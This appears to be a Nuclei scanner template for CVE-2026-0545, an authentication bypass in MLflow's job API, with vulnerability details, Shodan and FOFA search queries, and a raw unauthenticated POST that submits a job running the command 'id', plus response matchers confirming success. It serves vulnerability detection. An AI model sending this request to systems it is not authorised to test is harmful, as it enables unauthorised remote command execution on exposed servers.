id: CVE-2026-0545

info:
  name: MLflow Job API - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.
  impact: |
    Unauthenticated attackers can execute jobs remotely, potentially leading to remote code execution, denial of service, or data exposure.
  remediation: |
    Update to the latest version with fixed authentication enforcement on job endpoints.
  reference:
    - https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0545
    - https://github.com/mlflow/mlflow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-0545
    epss-score: 0.14018
    epss-percentile: 0.94434
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: mlflow
    product: mlflow
    shodan-query: title:"MLflow"
    fofa-query: title="MLflow"
  tags: cve,cve2026,mlflow,auth-bypass

http:
  - raw:
      - |
        POST /ajax-api/3.0/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"job_name":"run_task","params":{"command":"id"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"job_id\":", "\"job_name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100baf5cd99ea853ec4e862dc2405b3a36b324b3566226ae0bdd0b1b27fa56e35fa022100f62710af907bb6e35b1282f2989d3abcc55b8438c3dcd6d281db9b956914a560:922c64590222798bb761d5b6d8e72950